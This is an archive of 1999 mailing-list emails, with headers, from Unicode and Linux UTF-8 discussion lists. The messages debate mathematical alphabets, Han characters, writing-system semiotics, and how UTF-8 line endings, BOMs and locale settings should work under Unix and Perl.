(PDT) Subject: The Unic Ode Rick, Hmm. In addition to being misguided about mathematical truth ;-), now you are offending my sense of metrics. > > Frank said... > > > all such notions are ephemeral. > > Plain text is forever. > > Hmmm. Speaking stylistically, ""ephemeral"" has too many syllables to be good > poetry. If you're going to make a hummable tune for the refrain, try: > > All such notions be conceit, > but Plain Text is for-e-ver... > > Kind of an ""Ein feste Burg"" for the Unicodification Church... Hummed to Ein feste Burg, these lines require the addition of phantom syllables for the extra notes: All such no(uh)tions be(ee) conceit, but Plai(ai)n Text is for(or)-e-ver.. Whereas, Frank's text scans as a perfect iambic pentameter blank verse couplet: But all such notions are ephemeral, - ' - ' - ' - ' - ' And plain text is forever -- Frank da Cruz. - ' - ' - ' - ' - ' A suitable contribution to ""The Unic Ode"". --Ken > > > Rick > 20-Oct-99 19:49:50-GMT,1803;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA15547 for ; Wed, 20 Oct 1999 15:49:50 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA16760 for ; Wed, 20 Oct 1999 15:49:49 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id MAA52622 ; Wed, 20 Oct 1999 12:47:31 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id MAA10629; Wed, 20 Oct 1999 12:44:45 -0700 (PDT) Message-Id: <199910201944.MAA10629@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 (Apple Message framework v123.1) Content-Type: text/plain; charset=utf-8 X-UML-Sequence: 3982 (1999-10-20 19:44:12 GMT) From: Rick McGowan Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Wed, 20 Oct 1999 12:44:10 -0700 (PDT) Subject: Re: The Unic Ode > Hummed to Ein feste Burg, these lines require the addition of > phantom syllables for the extra notes: Ah, sorry to put you off the track... I was merely *comparing* this couplet to the grandeur of ""Ein feste Burg"" as an expression of lofty, noble, and eternal thought. The tune I actually had in mind was an unkempt English folksong whose title I can't recall at the moment... I'm sure it'll come to me after a few pints of grog... Whereas, without the addition of ""Frank da Cruz""���himself into the couplet, the prior result was a line of iambic pentameter followed by a three-legged iambic pentametrical wannabe... Rick 21-Oct-99 10:32:44-GMT,2292;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id GAA06069 for ; Thu, 21 Oct 1999 06:32:44 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id GAA28045 for ; Thu, 21 Oct 1999 06:32:43 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id DAA24904 ; Thu, 21 Oct 1999 03:28:50 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id DAA14640; Thu, 21 Oct 1999 03:23:49 -0700 (PDT) Message-Id: <199910211023.DAA14640@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-UML-Sequence: 4002 (1999-10-21 10:20:23 GMT) From: Michael Everson Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Date: Thu, 21 Oct 1999 03:20:13 -0700 (PDT) Subject: Re: Regarding the proposal for Mathematical alphabets Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mailhub1.cc.columbia.edu id GAA06069 Ar 17:08 -0700 1999-10-20, scr�obh peter_constable@sil.org: > >We are not encoding mathematics. > > >We are encoding the characters needed to represent (most) > current typographical > practice in international mathematical text. > > If all this is for is typography and nothing more, then fonts > and styles are sufficient, and the arguments I've presented > regarding symbolic computation are completely irrelevant. But it's not. It seems simple: mathematicians want to represent their data in plain text, and have shown that they can do so with this solution, and that they can't with other solutions. The question is, should they be facilitated in this, or should they not? -- Michael Everson * Everson Gunn Teoranta * http://www.indigo.ie/egt 15 Port Chaeimhghein �ochtarach; Baile �tha Cliath 2; �ire/Ireland Guth�n: +353 1 478 2597 ** Facsa: +353 1 478 2597 (by arrangement) 27 P�irc an Fh�ithlinn; Baile an Bh�thair; Co. �tha Cliath; �ire 21-Oct-99 16:00:00-GMT,3638;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA04222 for ; Thu, 21 Oct 1999 11:59:56 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id LAA19683 for ; Thu, 21 Oct 1999 11:59:55 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id IAA36152 ; Thu, 21 Oct 1999 08:57:53 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id IAA17412; Thu, 21 Oct 1999 08:55:19 -0700 (PDT) Message-Id: <199910211555.IAA17412@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-UML-Sequence: 4009 (1999-10-21 15:54:42 GMT) From: ""Lee Collins"" Reply-To: unicore@unicode.org To: ""Multiple Recipients of Unicore"" Cc: on@ams.org, bnb@ams.org, ""'unicore@unicode.org'"" Date: Thu, 21 Oct 1999 08:54:41 -0700 (PDT) Subject: Re: Regarding the proposal for Mathmatical alphabets Content-Transfer-Encoding: 7bit Lee's response to Murray, >> We are willing to drive Japan and other countries to adopt non-Unicode >> solutions because we have forced a model of text on them that they find >> inconvenient to implement. Why are mathematicians more important? >> >I find both the premise and conclusion to be invalid. In Unicode, we are >providing an architecture to fully support Han characters, many in the BMP >and many more in higher planes. Han characters are clearly extremely >important in Unicode and are one of the major reasons for Unicode's >phenomenal success in the computing industry. It appears that you are a new-comer to the history of Han characters in Unicode. The point here is that Unicode is unwilling to treat Han characters the same way that some mathematicians (my mathematician friend who uses serif / sans-serif was actually trying to point out that the distinctions mathematicians want are open-ended) want their characters treated. I am not trying to belittle mathematical usage. A Japanese user would like to see the actual Japanese forms of Han characters in plain text and sometimes be able to mix in other Han languages. They would like to search on Japanese text and not hit Chinese han characters. They believe their characters to be as different from Chinese as some of the mathematicians believe that bold forms of the Roman alphabet are different from plain forms. Unicode does not provide an architecture to support Han characters the way that most users of Han characters want them supported. Despite the many attempts to revise its history, Unicode in fact was never meant to support plain or simple (no layout required) text. If it had been meant to support plain text, we would have started thinking in terms of a full 32 bit encoding since even in 1988 it was clear that 16 bits would not be sufficient for a plain-text model. The solutions offered to Han characters users were always couched in terms of some form of attributed text. Over the years, Unicode has given in to smaller, more aggressive constituencies who argued the need for handling their favorite set of characters in plain text and who managed to find a champion in the UTC. The result is that some areas might be capable of being handled in plain text, but not the largest and most controversial sub-range, the Han. Lee 22-Oct-99 1:13:33-GMT,7665;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id VAA15513 for ; Thu, 21 Oct 1999 21:13:32 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA17669 for ; Thu, 21 Oct 1999 21:13:31 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id SAA34430 ; Thu, 21 Oct 1999 18:08:26 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id SAA23182; Thu, 21 Oct 1999 18:04:03 -0700 (PDT) Message-Id: <199910220104.SAA23182@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-UML-Sequence: 10403 (1999-10-22 01:03:47 GMT) From: ""Reynolds, Gregg"" To: ""Unicode List"" Date: Thu, 21 Oct 1999 18:03:42 -0700 (PDT) Subject: RE: character semiotics (was RE: Mixed up priorities) Hi Andrea, > -----Original Message----- > From: A. Vine [mailto:avine@eng.sun.com] > Sent: Thursday, October 21, 1999 6:16 PM > ""Reynolds, Gregg"" wrote: > But, Gregg, what is meaning, after all? Is 'f' a semiotic > unit to you? Is > 'I'? Does 'I' hold a greater significance than 'f' because > it has another > meaning? Why is 'f' encoded and not 'if'? If 'if' were what > the average > English speaker would identify as a single letter, is it > sufficient to say it's > encoded as 'i' + 'f'? > Good questions, for which I think we can come up with workable (if not theologically and cosmically ""true"") answers. By workable I mean something along the lines of ""a system of terms, definitions, etc. that serves to closely model the 'real' semiotics of written language (and thus answer to the expectations of literate communities) for the purposes of formal language design and software specification (thus answering to the expectations of software vendors)"". I think it is possible to agree on a fairly precise set of formal definitions for modeling written language by drawing on linguistics, semiotics, mathematical logic, etc. Stuff that's been around for quite some time, actually. The first thing I would note is that our ordinary means of discourse is incredibly impoverished when it comes to talking about written language. We have quote marks and and various typographic conventions and that's about it. Very flexible, but not very precise. So take for example your question ""is 'f' a semiotic unit"": you could be referring to the graphical thingee, or the phonological thingee, or a third thingee, or maybe even the sign-function thingee that ties some or all of these other thingees together. Etc. (I would answer yes in each case.) Great fun, actually. And I'm not picking on your usage; examine almost any piece of writing by any specialist that discusses grammatology, and you'll find it shot through with informal usage that relies on the reader to figure out which register to use in interpreting things like 'f' (or should that be ""'f'""?). Watch how often it happens on this list. In any case, to answer your questions, I would start by positing that we need to model two things at least, one being the visual aspect of written language (graphemes, visual syntax, etc.) (i.e. the signifiers), and the other being the things denoted by such forms. I think Unicode works on the former, not the latter. I don't have a good term for the latter yet, but for now let's call them ""grammemes"". (""Cultural unit"" is a tad too general and would cover just about everything. I guess we could go for the TLA: GCU = grammatical cultural unit. Wheee!) Grammemes are not phonemes. Research has shown that reading does not necessarily involve phonological activity in the brain. (If you're interested I can supply the references). The set of grammemes associated with a particular written language amounts to a theory of language. They represent the cognitive categories literates use to think about language, and don't necessarily follow modern linguistic analyis. ""Grammeme"" because the line between basic units such as ""letters"" in the traditional sense and higher-level grammatical concepts is blurry in some languages. Arabic provides several examples, ta marbuta being the most obvious. Either a medial ta form or a final dotted heh form may represent ta marbuta in Arabic, but the name ""ta marbuta"" itself denotes a complex packaging of rules relating phonology, morphology, and syntax. It is not considered an element of the traditional Arabic alphabet, but it is definitely part of basic Arabic orthography and literacy - one should be able to search on it, for example. So it's a grammeme. I seem to have slipped into dissertation mode again. Sorry 'bout that. To get back to your questions, I would say that by 'f' we designate a pairing of graphic form and grammeme - a sign-function, in semiotic terms. 'I' is another; the fact that it can enter into other semiotic (lexical) relations can be disregarded, since our guide is the set of 'letter' grammemes associated with (pick your language.) 'if' is not encoded because the community of literates doesn't think of the graphic form as denoting a single irreducable grammeme - if it did, then it would merit a code point, as 'ch' in some languages surely does. This does not mean that the graphical form used to represent it cannot be analyzed into consituent parts that are themselves encoded. It would not be problematic to say that the grammeme 'if' may be represented visually by the sequence of two _graphemes_ 'i' and 'f'. But ""grammeme i"" plus ""grammeme f"" does not equal ""grammeme if"" though they might equal ""lexeme if"" - that would be for higher level protocols to decide. U+0BCA TAMIL VOWEL SIGN O, I am willing to bet, is considered by Tamil literates a single form denoting a single grammeme. But it would be entirely reasonable to analyze the form used to denote that grammeme into its constituent parts and encode them separately _qua graphic forms_ without a corresponding grammeme denotatum. > Is Unicode's lack of capturing the semiotics of written > language a by-product of > its philosophy of characters, I think so. Also of its notion of plain text, and the whole underlying notion of ""script without language"". It's not the worst idea in the world, but it comes at a cost, and I've never seen a real careful analysis of what we (well, not me and my pals but certainly others) give up by adopting Unicode's modeling strategy. > or a result of the restrictions > imposed on it by > existing computer systems and software? Must have had a lot to do with it. But on the other hand, I don't think a more balanced approach would necessarily mean software designs incompatible with today's software. If it were a question of standardizing widget interfaces it wouldn't matter much, but we're talking about standardizing a model of language, which is pretty close to home for everybody. Add another possible cause: specialization. Very few people are insane enough to try to master the disparate fields (computer science, mathematical logic, linguistics, textual theory, psycholinguistics, etc etc) that converge here. Most of the people in the humanities with whom I've discussed Unicode have almost no clue as to what plain text is, let alone how formal modeling works. I don't mean that the people involved are not qualified, only that the pool is pretty small. Cheers, Gregg 22-Oct-99 1:40:55-GMT,2435;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id VAA03943 for ; Thu, 21 Oct 1999 21:40:55 -0400 (EDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id VAA21021 for ; Thu, 21 Oct 1999 21:40:54 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with ESMTP id SAA48014 ; Thu, 21 Oct 1999 18:29:46 -0700 Received: (from daemon@localhost) by unicode.org (8.9.3/8.9.3) id SAA23478; Thu, 21 Oct 1999 18:22:47 -0700 (PDT) Message-Id: <199910220122.SAA23478@unicode.org> Errors-To: root@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-UML-Sequence: 10404 (1999-10-22 01:22:34 GMT) From: ""Reynolds, Gregg"" To: ""Unicode List"" Date: Thu, 21 Oct 1999 18:22:31 -0700 (PDT) Subject: RE: Mixed up priorities > -----Original Message----- > From: John Hudson [mailto:tiro@tiro.com] > Sent: Thursday, October 21, 1999 7:19 PM > > At 04:49 PM 21-10-99 -0700, G. Adam Stanislav wrote: > > with them, but is it true that these sorting and hyphenation rules > _require_ encoding of these digraphs as precomposed characters? > > specific sorting and hyphenation rules. Are you suggesting > that each of > these sequences _needs_ to be encoded as a precomposed character? > > Again, is it _necessary_ for this behaviour to be controlled > by encoding > these letters as individual, precomposed characters? If there > Why is the burden of proof on the users of the language? I would turn the question around: is it really _necessary_ to leave slovak/czech ""ch"" out of Unicode? > Remember that Unicode is a standard for encoding _plain > text_. Unicode does > not contain sorting rules for individual languages, nor does > it contain > hyphenation rules for individual languages. Unicode provides I don't see what plaintext, sorting and hyphenation have to do with it. Slovak and Czech literates have this thing within their culture, and they use ""ch"" denote it. So if plaintext doesn't accomodate ""ch"", then it must not be plain text for Slovaks and Czechs. Why do we need more information than that? Utterly perplexed, Gregg 2-Nov-99 4:50:10-GMT,8856;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub1.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id XAA09403 for ; Mon, 1 Nov 1999 23:50:07 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA21631 for ; Mon, 1 Nov 1999 23:50:06 -0500 (EST) Received: by humbolt.nl.linux.org id ; Tue, 2 Nov 1999 05:34:17 +0100 Received: from kiev.wall.org ([205.178.11.135]:37094 ""EHLO kiev.wall.org"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Tue, 2 Nov 1999 05:33:42 +0100 Received: by kiev.wall.org (8.9.3/8.9.3) id UAA27045; Mon, 1 Nov 1999 20:28:40 -0800 (PST) Date: Mon, 1 Nov 1999 20:28:40 -0800 (PST) From: Larry Wall Message-Id: <199911020428.UAA27045@kiev.wall.org> To: Markus.Kuhn@cl.cam.ac.uk (Markus Kuhn) Cc: perl-unicode@perl.org, linux-utf8@nl.linux.org Subject: Re: Correct use of UTF-8 under Unix In-Reply-To: (from Markus Kuhn on Fri, 29 Oct 1999 11:09:52 +0100) X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org Markus Kuhn writes: : I have just read through the list archive, and noted that a few people : might have some doubts about how UTF-8 is used under Unix. Well, I just read through your list archive, and I think you are more of an idealist than I can afford to be. You keep saying, ""If Plan 9 can do a complete conversion, so can we."" But you'll notice that people aren't in fact using Plan 9, by and large. Plan 9 is a research project. It doesn't have millions of installations or millions of interconnections with other installations. Don't get me wrong. Perl will work fine in your idealized world. But I intend it to work okay in the other world too. I simultaneously try to keep my head in the clouds and my feet on the ground. Sometimes it's a stretch, though. : They : apparently got confused by many of the features described in the Unicode : standard (BOM, line separator, etc.), and thereby completely forgot the : big UTF-8 prime directive under Unix: : : UTF-8 is ASCII compatible Sure, and Perl banks on that to a great extent, but much of the world is not ASCII compatible. : Not only the encoding, but also the use of it. Er, only until you actually start trying to use it for anything both useful and un-American, like sorting, or updating your screen... : So don't change anything : about how ASCII was used when introducing UTF-8, because only this means : that UTF-8 can truly substitute ASCII in a realistic way: To the extent possible, I agree with you. :-) : This means the following: : : - A UTF-8 Unix plain text file that contains only ASCII characters : (and this is the majority of files on Unix installations all over : the world) will *not* change a single bit. That may be true, but I don't think it's true enough. 49% of the files in the world could be in non-ASCII, and your statement would still be strictly true. But not terribly useful. The problem is not so much files as it is interfaces. What percentage of the text you use comes from the system you're on? How is that percentage changing over time? What about if you're running a Linux set-top box that doesn't even have a disk? Or closer to current reality, did that tar file you just unpacked come from a UTF-8 only system? Will your browser convert text to UTF-8 when it saves it? What's coming down that socket you just opened? What's coming out of the file descriptor my process just inherited? Was it a pipe to a process on my machine, or was it a foreign port? I'm not suggesting there is an easy answer to this. In fact, I'm suggesting there isn't. And that any suggestion that there is isn't. : - This means that there is never a BOM at the start of a file. BOMs could : be ignored by special new Unicode programs, but they are definitely : not ignored by the many existing ASCII programs. Adding a : BOM would break a tremendous amount of things and would violate the : prime directive, as BOMs are definitely not ASCII compatible. I don't like BOMs either, in case you missed that. Of course, I loathe UTF-16 too, so that's not too terribly surprising. Surrogate characters are too pukey to contemplate. : - This means that lines in UTF-8 plaintext files are terminated : in one and only one way: 0x0a = LF. Neither U+2028 (line separator, : introduced for use inside *.doc-style word processing binary files) : nor overly long UTF-8 sequences for LF such as 0x80 0x8a must be accepted : as line terminators, otherwise we would get into the horrible : scenario that programs start to disagree what exactly a line is : (which a whole load of new security risks associated). Programs : such as ""wc -l"" must on UTF-8 files without any modification : whatsoever! There is no reason to change the Unix line semantics when : moving from ASCII to UTF-8. U+2028 is treated just like any other : character and has no special meaning in a Unix plaintext file. Fine by me, till someone asks to treat a file otherwise, in which case they should be let. What's more at issue is whether a *file* should be able to request being treated otherwise, if we give the user the right to request that files be given the right to request that they be so treated. Or some such. :-) : How do applications find out that files are now in UTF-8? Simple : applications such as cat and echo do not have to. For them UTF-8 is : just like ASCII. You oversimplify again. Even ""cat -v"" has to know how to treat bytes with the high bit set. And ""echo -e"" probably wants a way to interpolate characters larger than can be interpolated by \\nnn. : However, programs which count characters, position : cursors, determine character classes, use regexp, etc. have to know : about the file encoding, and there are well-established mechanisms to do : that: they are told, preferably via established POSIX mechanisms : (LC_CTYPE, LANG), or via other command line switches. You have a major showstopper here as far as us Perl folks are concerned. Neither the environment nor the command line can be trusted in a setuid situation. The Perl community is for this reason particularly leary of anything having to do with locales. I noticed that you frequently invoke the name of POSIX on your mailing list, but that won't work here. Around here people will actually shudder if you say ""POSIX"". : Ideally, all that should be necessary to turn a Unix installation into a : pure UTF-8 system is the addition of the line : : export LC_CTYPE=UTF-8 : : in /etc/profile, plus conversion of the existing ISO 8859, JIS, KOI8, : etc. files and file names. No. It is not ideal. If you're going to have a kernel-wide switch, then ideally the kernel should tell the process. The environment simply cannot be trusted, any historical POSIX botches to the contrary notwithstanding. You've been arguing for LC_CTYPE for several months now. I hope you haven't argued for it for so long that you can't see its problems anymore. As for Perl, although it will ideally keep everything as UTF-8 internally, it'll still be assuming that it has to know on an interface-by-interface basis whether to expect UTF-8 or something else. Even on your idealized Linux, we'll still have to know what to do with the sockets connected to the real world. It is not so much more of a stretch for us to decide on a file-by-file basis, using the best available information. On your ideal system, the best available information might be that we should always guess files to be UTF-8. That's fine. But please don't use the environment to convey such important, system-wide information. : Editors and terminal emulators will then : activate their UTF-8 modes, email software will convert received : messages from the indicated MIME character set into UTF-8 before saving : them as a file, etc. We are not quite there yet, but that should be the : long-term goal. I would like that too. But Perl has always been about getting from here to there, and this is very much a getting-from-here-to-there problem. Nevertheless, I do appreciate idealists--at least as long as they're not collectivizing the peasants, some of whom were my third cousins living in the Ukraine before they were starved to death. So I feel I owe it to them to be able to distinguish Unicode from Russian. When the whole world joins your collective, I'll say I believed in it all along. :-) Larry - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 2-Nov-99 13:54:02-GMT,13157;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub2.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id IAA08748 for ; Tue, 2 Nov 1999 08:53:57 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id IAA17428 for ; Tue, 2 Nov 1999 08:53:56 -0500 (EST) Received: by humbolt.nl.linux.org id ; Tue, 2 Nov 1999 14:24:27 +0100 Received: from mailgw.imt.im.se ([195.100.17.67]:44542 ""EHLO mail-gw.imt.im.se"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Tue, 2 Nov 1999 14:24:02 +0100 Received: from msxsth1.im.se (msxsth1.im.se [193.14.16.108]) by mail-gw.imt.im.se (8.9.3/8.9.3) with ESMTP id OAA24644; Tue, 2 Nov 1999 14:21:09 +0100 Received: by msxsth1 with Internet Mail Service (5.5.2650.21) id ; Tue, 2 Nov 1999 14:23:06 +0100 Message-ID: From: Karlsson Kent - keka To: ""'linux-utf8@nl.linux.org'"" Cc: perl-unicode@perl.org Subject: RE: Correct use of UTF-8 under Unix Date: Tue, 2 Nov 1999 14:21:40 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01BF2535.65AC0570"" X-Orcpt: rfc822;linux-utf8@nl.linux.org Sender: owner-linux-utf8@nl.linux.org Precedence: bulk Reply-To: linux-utf8@nl.linux.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF2535.65AC0570 Content-Type: text/plain; charset=""iso-8859-1"" (Note: I don't subscribe to perl-unicode@perl.org, only to linux-utf8@nl.linux.org, and I don't have Markus's original message that is quoted below.) > : - This means that lines in UTF-8 plaintext files are terminated > : in one and only one way: 0x0a = LF. That is not true. ""lines"" in UTF-8 text files may be terminated by LINE FEED, CARRIAGE RETURN, CARRIAGE RETURN+LINE FEED, NEXT LINE, or end-of-file, or be separated by LINE SEPARATOR or PARAGRAPH SEPARATOR (which is in some sense 'stronger' than line separator). (I don't know what originally came before the ""This means that"" in Markus's message.) > Neither U+2028 (line separator, > : introduced for use inside *.doc-style word processing binary files) That is not true. LINE SEPARATOR and PARAGRAPH SEPARATOR were once introduced in the hope that they would ""clear up the line ending mess"". (Whether they are used in "".doc""-style documents is a separate issue.) That hope has not come to fruition yet, and it will take time before the ""line ending mess"" is overcome whatever way is used to overcome it. Unicode Technical Report 13, Unicode Newline Guidelines (http://www.unicode.org/unicode/reports/tr13/), gives some guidelines on how to increase the interoperability with regard to ""new line function"" (NLF) and LS/PS handling. Basically the recommendation is to accept all commonly occurring NLFs: CR, CR+LF, LF, the EBCDIC originated NL (NEXT LINE; U+0085; admittedly rare), as well as LS and PS (and allow EOF to 'terminate a line'). I think they should be accepted in any mixture. Most(?) C compilers already appear to handle at least both LF and CR+LF (mixed) fairly well. This makes it easier to handle C source files in a ""mixed environment"". Shell scripts, yacc/bison files, etc. are still problematic since their lexers still expect only LF. > : nor overly long UTF-8 sequences for LF such as 0x80 0x8a must be accepted True, unduly long UTF-8 encodings in general should be considered malformed. > : as line terminators, otherwise we would get into the horrible > : scenario that programs start to disagree what exactly a line is > : (which a whole load of new security risks associated). Programs > : such as ""wc -l"" must on UTF-8 files without any modification > : whatsoever! There is no reason to change the Unix line semantics when > : moving from ASCII to UTF-8. U+2028 is treated just like any other > : character and has no special meaning in a Unix plaintext file. U+2028 and U+2029 should be handled as just another way of indicating line separation/end (as should end-of-file) for the purposes of perl/C/lex/bison/Ada/etc. Neither of these need to distinguish between line and paragraph separation, and all of these ways of terminating/separating lines should be treated the same, for increased interoperability. Of course, to be able to detect NL, LS, and PS one needs to know the character encoding first, since they have different codes and are indeed not possible to represent in all encodings. But the same goes for NL and CR too really, if UTF-16 is allowed, which it should be in at least some circumstances. (No, I don't like little endianism nor ""BOM"".) Note that several programming languages, e.g. Java, Ada, and C, allow non-ASCII in identifiers, with identifier identity defined via the UCS. But they don't require a particular character encoding for the source files, so compilers for these programming languages MUST 'know' the character encoding of an individual source file (via a compiler flag, system/individual/folder default, or similar) in order to compile the source code correctly anyway. Similarly for XML and its tag and attribute names, but each XML file should self-declare which character encoding it is in. Which way of ending/terminating lines should be prefered on output? Might depend on a preference setting, or an editing change (like ""turn all NLFs into LS""). Kind regards /Kent Karlsson ------_=_NextPart_001_01BF2535.65AC0570 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable RE: Correct use of UTF-8 under Unix (Note: I don't subscribe to perl-unicode@perl.org, = only to linux-utf8@nl.linux.org, and I don't have Markus's = original message that is quoted below.) > :   - This means that lines in UTF-8 = plaintext files are terminated > :     in one and only one = way: 0x0a =3D LF. That is not true.  ""lines"" in UTF-8 = text files may be terminated by LINE FEED, CARRIAGE RETURN, CARRIAGE RETURN+LINE = FEED, NEXT LINE, or end-of-file, or be separated by LINE SEPARATOR or = PARAGRAPH SEPARATOR (which is in some sense 'stronger' than line = separator). (I don't know what originally came before the = ""This means that"" in Markus's message.) >       =         =         =         =         =         =         Neither U+2028 (line = separator, > :     introduced for use = inside *.doc-style word processing binary files) That is not true.  LINE SEPARATOR and PARAGRAPH = SEPARATOR were once introduced in the hope that they would ""clear = up the line ending mess"". (Whether they are used in "".doc""-style = documents is a separate issue.) That hope has not come to fruition yet, and it will = take time before the ""line ending mess"" is overcome = whatever way is used to overcome it. Unicode Technical Report 13, Unicode Newline = Guidelines (http://www.unicode.org/unicode/reports/tr13/), = gives some guidelines on how to increase the interoperability with regard = to ""new line function"" (NLF) and LS/PS handling.  = Basically the recommendation is to accept all commonly occurring NLFs: CR, CR+LF, = LF, the EBCDIC originated NL (NEXT LINE; U+0085; admittedly rare), = as well as LS and PS (and allow EOF to 'terminate a = line').  I think they should be accepted in any mixture. Most(?) C compilers already appear to handle at least = both LF and CR+LF (mixed) fairly well.  This makes it easier to = handle C source files in a ""mixed environment"".  Shell scripts, = yacc/bison files, etc. are still problematic since their lexers still expect only = LF. > :     nor overly long UTF-8 = sequences for LF such as 0x80 0x8a must be accepted True, unduly long UTF-8 encodings in general should = be considered malformed. > :     as line terminators, = otherwise we would get into the horrible > :     scenario that = programs start to disagree what exactly a line is > :     (which a whole load = of new security risks associated). Programs > :     such as ""wc = -l"" must on UTF-8 files without any modification > :     whatsoever! There is = no reason to change the Unix line semantics when > :     moving from ASCII to = UTF-8. U+2028 is treated just like any other > :     character and has no = special meaning in a Unix plaintext file. U+2028 and U+2029 should be handled as just another = way of indicating line separation/end (as should = end-of-file) for the purposes of perl/C/lex/bison/Ada/etc. Neither of = these need to distinguish between line and paragraph separation, = and all of these ways of terminating/separating lines should be = treated the same, for increased interoperability. Of course, to be able to detect NL, LS, and PS one = needs to know the character encoding first, since they have = different codes and are indeed not possible to represent in all = encodings.  But the same goes for NL and CR too really, if UTF-16 is = allowed, which it should be in at least some circumstances. (No, I = don't like little endianism nor ""BOM"".) Note that several programming languages, e.g. Java, = Ada, and C, allow non-ASCII in identifiers, with identifier = identity defined via the UCS. But they don't require a particular = character encoding for the source files, so compilers for = these programming languages MUST 'know' the character encoding of an = individual source file (via a compiler flag, = system/individual/folder default, or similar) in order to compile the source code = correctly anyway. Similarly for XML and its tag and attribute names, = but each XML file should self-declare which character encoding it = is in. Which way of ending/terminating lines should be = prefered on output? Might depend on a preference setting, or an editing = change (like ""turn all NLFs into LS"").         =         Kind = regards         =         /Kent = Karlsson ------_=_NextPart_001_01BF2535.65AC0570-- - Linux-UTF8: i18n of Linux on all levels Archive: http://mail.nl.linux.org/lists/ 2-Nov-99 14:47:11-GMT,7230;000000000001 Return-Path: Received: from watsun.cc.columbia.edu (watsun.cc.columbia.edu [128.59.39.2]) by mailhub3.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA24891 for ; Tue, 2 Nov 1999 09:47:08 -0500 (EST) Received: from humbolt.nl.linux.org (humbolt.geo.uu.nl [131.211.28.48]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id JAA29433 for ; Tue, 2 Nov 1999 09:47:07 -0500 (EST) Received: by humbolt.nl.linux.org id ; Tue, 2 Nov 1999 15:04:34 +0100 Received: from heaton.cl.cam.ac.uk ([128.232.32.11]:37138 ""EHLO heaton.cl.cam.ac.uk"" smtp-auth: ) by humbolt.nl.linux.org with ESMTP id ; Tue, 2 Nov 1999 15:03:56 +0100 Received: from trillium.cl.cam.ac.uk ([128.232.8.5] helo=cl.cam.ac.uk ident=mgk25) by heaton.cl.cam.ac.uk with esmtp (Exim 3.01 #1) id 